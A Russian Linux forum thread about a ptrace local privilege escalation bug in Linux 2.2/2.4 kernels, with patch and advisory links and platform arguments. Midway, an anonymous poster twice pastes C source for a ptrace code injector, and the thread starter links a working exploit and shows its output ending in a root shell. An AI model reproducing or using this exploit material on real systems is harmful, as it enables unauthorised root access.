LINUX.ORG.RU

Уязвимость в ядре Linux позволяет локально повысить свои привилегии до root.


0

0

В версиях ядра Linux 2.4 и 2.2 была обнаружена проблема в ptrace позволяющая локальным пользователям увеличить свои привилегии до уровня администратора (root).

Было выпущено ядро 2.2.25 единстенным изменением в котором является исправление этой проблемы.

Патч для 2.4 ядер доступен по ссылке.

Проблему обнаружил Andrzej Szombierski.

Advisory от RedHat: https://rhn.redhat.com/errata/RHSA-20...

>>> Письмо Alan Cox'а

★★★★★

Чё-то всех обуял процесс нахождения багов. Даже не знаю, хорошо это или плохо. :)

anonymous
()

Ну народ, сейчас начнется....... Бойня......... :))

anonymous
()

а где-нибудь можно скачать патч в виде файла?
выдерать его из html как-то неудобно

anonymous
()

а exploit уже есть?
если да, то можно ссылку?

anonymous
()

Эт фигня, господа :-) В бсде постоянно такие фичи находят. И несморя на это бсдя рулит :-) В то время как линукс сосет конечно. С оттягом ;-))

пьяный slapsh

anonymous
()

Это хорошо, что стали находить чаще баги, ибо это означает, что все больше и больше народу использует Linux.

2slapsh: ты пьян, приятель! и поэтому все перепутал. Линукс рулит, фря сосет. That's it!

//Боба Иисусович

anonymous
()
Ответ на: комментарий от anonymous

Перефразируя недоумка с топика о 10-летии NetBSD:

Этому GPL-ному дырявому отстою не место у параши, а по уши в ней. Что и наблюдаем.

Равновесие восстановлено, Попа Иудович.


anonymous
()

Ты не рюхаешь. У нас праздник - еще одной дыркой меньше.
Стремимся к совершенству.

jackill ★★★★★
()

на кой хрен нужен патч, дайте експлоит :-)

anonymous
()
Ответ на: комментарий от jackill

> Ты не рюхаешь. У нас праздник - еще одной дыркой меньше.
Рюхаю. У вас вся жизнь - нескончаемый праздник.

anonymous
()

Блин просто уже задрало( То в сендмыле дыры, теперь в самбе и ядре( а перед этим апач. ну локальная, но все равно это о чем то говорит. Я ведь выбирал Линух за его надежность по сравнению с виндой, и пусть ее было сложнее настроить, но она была более защищенной, а сейчас? сейчас я должен постоянно находится там где ставил сервак и обновлять, обновлять, обновлять... просто задрало, обидно однако зы выходные скачал ораклу 9рел2, вчера поставил на линуху, а в ней дыра удалено дающая рута. - ну и что, что это проблема на линуха, оракла эта под ним пахаить. (может я и не прав) блин я ж люблю линух, а он оказывается одной большой дырой какой смысл делать шаги в сторону "удобства юзанья"? все равно до винды тут недотянет, а по надежности оказался полным ну и пусть я не прав, это все мое мнение обидно блин

Анатолий (пишу здесь, только когда накипело, регится ломы)

anonymous
()

> Рюхаю. У вас вся жизнь - нескончаемый праздник.

Ты просто злобный завистник :) Люди, страдающие от наркотической зависимости (например от ПО какой-нибудь фирмы) всегда завидуют свободным людям, постоянно ищут в их жизни изъяны, всячески пытаются самоутвердиться.

Попробуй напиши хоть одну свою программу - такую, чтобы дыры в ней хоть кого-нибудь заинтересовали :)

anonymous
()

где таких параноиков берут как этот анатолий

anonymous
()

Ладно. Чего хныкать-то? Может тут кто внятно объяснить кв каких случаях и на каких приложениях сие может повредить?
А то выяснится что "дыра" опасна только 29 февраля, в полнолуние, если свё это приходится на пятницу и т.д.
За что вопли поднимаем? В чём реальность?

PitStop
()

а я и не скрываю, что параноик(до маниакального состояния), потому ужо и обновил усе а взяли туда, где предыдущего админа после взлома, и потери части базы выгнали нахрен, так что сенкс за комплимент, я и есть Параноик

anonymous
()

Может быть баг и есть, но почему-то егл уже нет в 2.4.20. Name CAN-2003-0127 (under review) Description The kernel module loader in Linux kernel 2.2.x before 2.2.25, and 2.4.x before 2.4.20, allows local users to gain root privileges by using ptrace to attach to a child process that is spawned by the kernel. References

* VULNWATCH:20030317 Fwd: Ptrace hole / Linux 2.2.25 * URL:http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0134.html * REDHAT:RHSA-2003:098 * URL:http://rhn.redhat.com/errata/RHSA-2003-098.html

Phase Assigned (20030313)

anonymous
()

да винда отстой, в линуксе сразуж патчи появляются, а в винде ждать пока M$ выпустит очередной сервиспак и надеяться что там эта дыра заткнута, ктомуж линукс реально самому патчить, а винду хрен....

MaR ★★
()
Ответ на: комментарий от anonymous

В IIS 5 нашли buffer оверфлов и уже его активно юзают со среды (прошлой), так что баш на баш ;)

green ★★★★★
() автор топика
Ответ на: комментарий от anonymous

Анатолию

Ты думал в сказку попал? Дыры есть во всем. Вопрос к операционной системе - сколько времени пройдет с обнаружения до выпуска затычки и сколько придется совершить телодвижений, чтобы эту затычку применить "в бой"

VA
()

"ним пахаить. (может я и не прав) блин я ж люблю линух, а он оказывается одной большой дырой какой смысл делать шаги в сторону "удобства юзанья"? все равно до винды тут недотянет, а по надежности оказался полным ну и пусть я не прав, это все мое мнение обидно блин "

А ты чаще на LOR ходи, больше слушай здешних мудрецов, которым секьюрити в секьюрной-рассекьюрной OS оказывается и не нужна. Действительно - зачем нам секьюрити? Это же ЛИНУКС!

//Иван Петров.

anonymous
()

а ведь действительно, в 2.4.20 следуя анансу РХ дыры этой нету ниразу, тобишь её кто то исправил. Хотя может и просто так взяли и переписали этот кусок кода. Только сомневаюсь. Так что знали о баге скорее всего уже давно, и такая позиция не лучше мелкосовтовской. Надкюсь, что я не прав.

to VA Да какая уж тут сказка) потому и локальных пользователей ни один достаточно параноидальный админ не пустит к себе в систему) (конечно есть исключения и тд и тп)

to Иван Петров согласен, только я тоже не шибко вумный, все что нужно было на линухе сделал, но только прочитав в инете как это сделать. А то, что я тупой, ленивый и параноидальный, люблю пиво и бокс, и пишу с ошибками я и не отрицаю )) сорри за оффтопик

ЗЫ страшного конечно ничего не случилось, просто нужно, что то делать, я не знаю что.

anonymous
()

'онансу', а не 'анансу'

anonymous
()
Ответ на: комментарий от anonymous

> а где-нибудь можно скачать патч в виде файла? > выдерать его из html как-то неудобно

dehtmldiff из пакета patchutils (http://cyberelk.net/tim/patchutils/) может помочь в этом случае.

awn
()

кое-кому советую не тормозить дыра не удаленная, а локальная...

anonymous
()

>достаточно параноидальный админ не пустит к себе в систему Всё правильно, на моих всех машинах, единственный юзер с шеллом -- я :)

anonymous
()

Linux kernels 2.2.x, x<=19 and 2.4.y, y<=9 есть exploit только на эти ядра!!!

anonymous
()

В принципе, конечно, дырка серьезная. Но на практике ведь действительно - локальных юзеров редко где бывает... а если бывает - untrusted - то их в restricted shell загоняют, чтобы никакого ptrace там нельзя было вызвать. А если уж это trusted юзеры, то тут каждый сам себе злобный буратино.

Анатолий, а что Вы хотели? Ну поставили бы себе Solaris, там бы вам о дырках никто не сообщал. Жили бы спокойно.

anonymous
()

Одно радует, кажется эксплоит не выложили

а то нашлись бы злобари, которые им воспользовались бы...

А все таки я не понял, будет ли работать эксплойт через ssh, вроде пользователи , локальные и в тоже время remoute?

А в сумме, я думаю, все заметили что в последнее время сообщения о дырках довольно таки часто появляются... :-(

Может просто искателей больше появилось ?

Dead ★★★★
()
Ответ на: комментарий от anonymous

А я вот под Solaris работаю, так вот в большинстве банков они родимые стоят, и в большинстве случаев банки покупают у Sun весьма недешевую поддержку. Так, что, говорю о собственном опыте, если кто-то ломанул Solaris в банке, то Sun поставят на уши на совсем не маленькие суммы. Отсутствие поддержки и ответственных лиц - кого можно привлечь, это и было основным тормозом развития Линукса на корпоративном рынке, и только сейчас на это дело подписалась IBM. Да, а в Линуксе с общим input/output не очень - примерно в 7-12 раз хуже чем в Solaris 8.0, в всяком случае на наших проектах:( мултипроцессорная поддержка на больших, где больше 2 процессоров и больше 512К L2 кеша машинах тоже совсем на на высоте.

CrownRU
()

>А если уж это trusted юзеры, то тут каждый сам себе злобный буратино.

Нифига себе подход.

Что такое trusted host я знаю, а термин trusted user встречаю

впервые.

А кто будет решать насчет юзера какой он, если Вы его никогда

в жизни не видели и не увидите ?

Саныч

anonymous
()
Ответ на: комментарий от anonymous

Это значит - untrusted. Тогда известно, какие для решения каких задач ему нужен доступ к хосту, и, соотвествено, можно обеспечить restricted shell, достаточный для решения этих и только этих задач.

anonymous
()

если не видели - значит не trusted
trusted это тот с которым ты пиво пил

HEKTO
()

Анатолию: "сейчас я должен постоянно находится там где ставил сервак и обновлять, обновлять, обновлять..."

Срочно читать про ssh и отвыкать пользовать mc и прочие линуксконфы! Я прекрасно "обновлял, обновлял и обновлял" сервер по диал-апу (спасибо альтлинуксам за использование apt-get для этого). Естественно, находясь в паре десятков километров от оного.

В смысле именно администрирования юникс-подобные оси - идеал.

pazhitnov
()

>Это значит - untrusted. Тогда известно, какие для решения каких задач ему нужен доступ к хосту, и, соотвествено, можно обеспечить restricted shell, достаточный для решения этих и только этих задач.

Весьма опасное заблуждение.

Если система позволяет экскалацию привелегий для пользоваля с

ЛЮБЫМ шеллом, то ядро надо патчить немедленно или искать

другую систему.

Наберите man 2 ptrace

на Вашей машине и поймете почему

restricted shell не панацея.

Саныч

anonymous
()

типа чрут и шрсек в данных случаях не помогут?

anonymous
()

to pazhitnov 1 настоящий параноик никогда не оставит "торчать" в инет открытый ссшный порт 2 можно зафаерволить всем кроме своего ip - если он статический (не диал апный), и даже собрать свое ядро (собраные альтами и рх, отдыхают - то дма у них не включено, то еще чего а о драйвере для моксы или еще чего вообще молчу), но перегружать комп с новым только что собранным ядром дистанционно... бррр, а вдруг дрогнула рука молодого хирурга? и сервак на пару часов (до приезда) грузится перестанет? - звонить по телефону и говорить нажмите ресет, а теперь выберете пункт со старым ядром? нее или как проверить что он нормально выключается при сигнале от упса?

anonymous
()
Ответ на: комментарий от anonymous

На нормальных серверах есть редирект консоли на serial port

Поддерживается биосом

Саныч

anonymous
()
Ответ на: комментарий от CrownRU

>Так, что, говорю о собственном опыте, если кто-то ломанул Solaris в
>банке, то Sun поставят на уши на совсем не маленькие суммы.

Я незнаю что Вы там делаете в банках, но здесь Вы сударь конечно
неправы. При покупке любого продукта Вас непременно ткнут носом в то,
что фирма НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ за потерю данных или упущенную выгоду и т.д. и т.п. при использовании ее софта. Это верно для Informix, Oracle, DB2 (видел сам). Я УВЕРЕН на все 100% что для
соляры аналогично.

> Да, а в Линуксе с общим input/output не очень

??? Объяснитесь ...

Если речь идет о базухах raw/io + kaio, то это конечно есть маленько,
однако ядра от SuSE и REDHAT это все потдерживают.
Есть конечно проблемы с i/o, но это проблемы масштабируемости, а не
пропускной способности. ( В основном эти проблемы могут проявиться
при работе с ОЗУ > 4G в некоторых как говорится edge cases ).

> в 7-12 раз хуже чем в Solaris 8.0

Откровенная брехня. Постыдились бы!

>мултипроцессорная поддержка на больших, где больше 2 процессоров и >больше 512К L2 кеша машинах тоже совсем на на высоте.

Однако недавно вот видел в списке рассылки Linux-kernel, что
ребята из IBM пускают Linux на 32 node NUMA-Q.
( посчитайте количество процессоров! )


На одном и том же железе ( 4xpIII 1000 Xeon 1024 L2 Compaq ) SLES8
работает НА ГЛАЗ заметно БЫСТРЕЕ чем Solaris 9 IA

Ну а так ... Linux конечно сосет.

Captain Nemo.

anonymous
()

а еще тут пролетал тред про возможность замены ядра без перезагрузки

anonymous
()

>на кой хрен нужен патч, дайте експлоит :-) Ну нате :) Поиграться и доделать времени нет. Кто будет более удачлив. Дайте знать. dshamoni@mail.ru #include <stdio.h> #include <signal.h> #include <sys/ptrace.h> #include <linux/user.h> #include <unistd.h>

typedef long int pid_t; void infcode(){fprintf(stderr," shell code here!\n\n");}; char *shellcode;

#define VER "01.a"

int main(int argc,char **argv) { pid_t pid;

if(!argv[1]){ fprintf(stderr,"ptrace injector.\n"); fprintf(stderr,"usage: %s <pid> \n",argv[0]); exit(-1); }

fprintf(stderr,"\n [Haha]\n"); fprintf(stderr," version: %s\n\n",VER);

pid=atoi(argv[1]); fprintf(stderr," calculating inject code size..\n"); shellcode=malloc(strlen((char*) infcode)+4); strcpy(shellcode,(char *) infcode); fprintf(stderr," - code size: %d\n",strlen(shellcode)); fprintf(stderr," initializing infection\n"); infect(pid);

fprintf(stderr," [infected!]\n\n");

exit(0); }

int infect(pid_t pid,int argc, char *argv[]) { int i=0, ptr, beg; struct user_regs_struct reg;

fprintf(stderr," attaching to proccess: %d !\n",pid);

ptrace(PTRACE_ATTACH,pid,0,0); /* attaching to proccess */ waitpid(pid,NULL,0);

ptrace(PTRACE_GETREGS,pid,0,0); /* general purpose registers */ write(2," .",1);sleep(1);write(2,".",1);sleep(1);write(2,".",1);s leep(1); write(2,".",1);sleep(1);write(2,".",1);sleep(1);write(2,&quo t;.",1);sleep(1); write(2,".",1);sleep(1);write(2,".",1);sleep(1);write(2,&quo t;.",1);sleep(1); write(2,".\n",1);sleep(1); /* just for fun :P */ fprintf(stderr," register info: \n"); fprintf(stderr," -----------------------------------------------------------\n"); fprintf(stderr," eax is at: 0x%.8lx\t",reg.eax); fprintf(stderr," ebx is at: 0x%.8lx\n",reg.ebx); fprintf(stderr," ecx is at: 0x%.8lx\t",reg.ecx); fprintf(stderr," eip is at: 0x%.8lx\n",reg.eip); fprintf(stderr," ------------------------------------------------------------\n\n"); reg.esp -= 4; /* decrement esp */ fprintf(stderr," new esp: 0x%.8lx (-4)\n",reg.esp);

ptrace(PTRACE_POKETEXT,pid,reg.esp,reg.eip); /* poke eip -> esp */ ptr = beg = reg.esp - 1024; /* inject esp - 1024 */ fprintf(stderr," - injecting code into 0x%.8lx\n",beg);

write(2," .",1);sleep(1);write(2,".",1);sleep(1); write(2,".",1);sleep(1);write(2,".",1);sleep(1); write(2,".",1);sleep(1);write(2,". ",1);sleep(1);

reg.eip=(long) beg+2; /* set eip as value of esp - 1024 */ fprintf(stderr,"reg eip is at: 0x%.8lx\n",reg.eip); fprintf(stderr," copy general purpose registers\n"); ptrace(PTRACE_SETREGS,pid,0,0);

while(i<strlen(shellcode)){ ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *) (shellcode+i) ); i+=4;ptr+=4; }

fprintf(stderr," detaching from %d \n\n",pid); pause();

ptrace(PTRACE_DETACH,pid,0,0); /* detach from proccess */ return(0); }

anonymous
()

2CrownRU

Все пиписками меряетесь ? А ньюсы не читаете поди.

>мултипроцессорная поддержка на больших, где больше 2 процессоров и >больше 512К L2 кеша машинах тоже совсем на на высоте.

Смотрим на SGI Altix 3000

Несколько сот процессоров Intel Itanium 2

Несколько ТЕРРАБАЙТ ОЗУ

Архитектура глобальной общей памяти SGI&#174; NUMAflexTM

это из области суперкомпьтерных технологий

ОС - Linux64

"Семейство SGI Altix 3000 установило мировой рекорд по масштабируемости пропускной способности памяти среди микропроцессорных систем, как показывает стандартный бенчмарк STREAM."

>Есть конечно проблемы с i/o, но это проблемы масштабируемости, а не пропускной способности. ( В основном эти проблемы могут проявиться при работе с ОЗУ > 4G в некоторых как говорится edge cases ).

Стыдно товарищи, не знать возможностей системы на которой работаете!

Саныч

anonymous
()

>на кой хрен нужен патч, дайте експлоит :-) Ну нате :) Поигратся и доделать времени нет. Кто будет более удачлив. Дайте знать. Я... #include <stdio.h> #include <signal.h> #include <sys/ptrace.h> #include <linux/user.h> #include <unistd.h>

typedef long int pid_t; void infcode(){fprintf(stderr," shell code here!\n\n");}; char *shellcode;

#define VER "01.a"

int main(int argc,char **argv) { pid_t pid;

if(!argv[1]){ fprintf(stderr,"ptrace injector.\n"); fprintf(stderr,"usage: %s <pid> \n",argv[0]); exit(-1); }

fprintf(stderr,"\n [Haha]\n"); fprintf(stderr," version: %s\n\n",VER);

pid=atoi(argv[1]); fprintf(stderr," calculating inject code size..\n"); shellcode=malloc(strlen((char*) infcode)+4); strcpy(shellcode,(char *) infcode); fprintf(stderr," - code size: %d\n",strlen(shellcode)); fprintf(stderr," initializing infection\n"); infect(pid);

fprintf(stderr," [infected!]\n\n");

exit(0); }

int infect(pid_t pid,int argc, char *argv[]) { int i=0, ptr, beg; struct user_regs_struct reg;

fprintf(stderr," attaching to proccess: %d !\n",pid);

ptrace(PTRACE_ATTACH,pid,0,0); /* attaching to proccess */ waitpid(pid,NULL,0);

ptrace(PTRACE_GETREGS,pid,0,0); /* general purpose registers */ write(2," .",1);sleep(1);write(2,".",1);sleep(1);write(2,".",1);s leep(1); write(2,".",1);sleep(1);write(2,".",1);sleep(1);write(2,&quo t;.",1);sleep(1); write(2,".",1);sleep(1);write(2,".",1);sleep(1);write(2,&quo t;.",1);sleep(1); write(2,".\n",1);sleep(1); /* just for fun :P */ fprintf(stderr," register info: \n"); fprintf(stderr," -----------------------------------------------------------\n"); fprintf(stderr," eax is at: 0x%.8lx\t",reg.eax); fprintf(stderr," ebx is at: 0x%.8lx\n",reg.ebx); fprintf(stderr," ecx is at: 0x%.8lx\t",reg.ecx); fprintf(stderr," eip is at: 0x%.8lx\n",reg.eip); fprintf(stderr," ------------------------------------------------------------\n\n"); reg.esp -= 4; /* decrement esp */ fprintf(stderr," new esp: 0x%.8lx (-4)\n",reg.esp);

ptrace(PTRACE_POKETEXT,pid,reg.esp,reg.eip); /* poke eip -> esp */ ptr = beg = reg.esp - 1024; /* inject esp - 1024 */ fprintf(stderr," - injecting code into 0x%.8lx\n",beg);

write(2," .",1);sleep(1);write(2,".",1);sleep(1); write(2,".",1);sleep(1);write(2,".",1);sleep(1); write(2,".",1);sleep(1);write(2,". ",1);sleep(1);

reg.eip=(long) beg+2; /* set eip as value of esp - 1024 */ fprintf(stderr,"reg eip is at: 0x%.8lx\n",reg.eip); fprintf(stderr," copy general purpose registers\n"); ptrace(PTRACE_SETREGS,pid,0,0);

while(i<strlen(shellcode)){ ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *) (shellcode+i) ); i+=4;ptr+=4; }

fprintf(stderr," detaching from %d \n\n",pid); pause();

ptrace(PTRACE_DETACH,pid,0,0); /* detach from proccess */ return(0); }

anonymous
()
Ответ на: комментарий от anonymous

Хороша трава в Амстердаме !

Саныч

anonymous
()

Совсем правильный и рабочий exploit живет тут:
http://isec.pl/cliph/isec-ptrace-kmod-exploit.c

green@angband:~/get> ./a.out
[+] Attached to 27131
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000f88d
[+] Now wait for suid shell...
sh-2.05#

green ★★★★★
() автор топика

Зверско цепляет :) Я...

anonymous
()

Че щас начнется !

chmod -x /usr/bin/gcc :)

Саныч

anonymous
()

...проблема в ptrace позволяющая _локальным_ пользователям увеличить свои привилегии...

Анатолик, у вас, надеюсь, замок на сервер рум большой висит? Я понимаю, конечно, паранойи много не бывает...

DimaG

anonymous
()

Угу ! работает ! Спасибо Саныч ! Привет из Астердама!

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.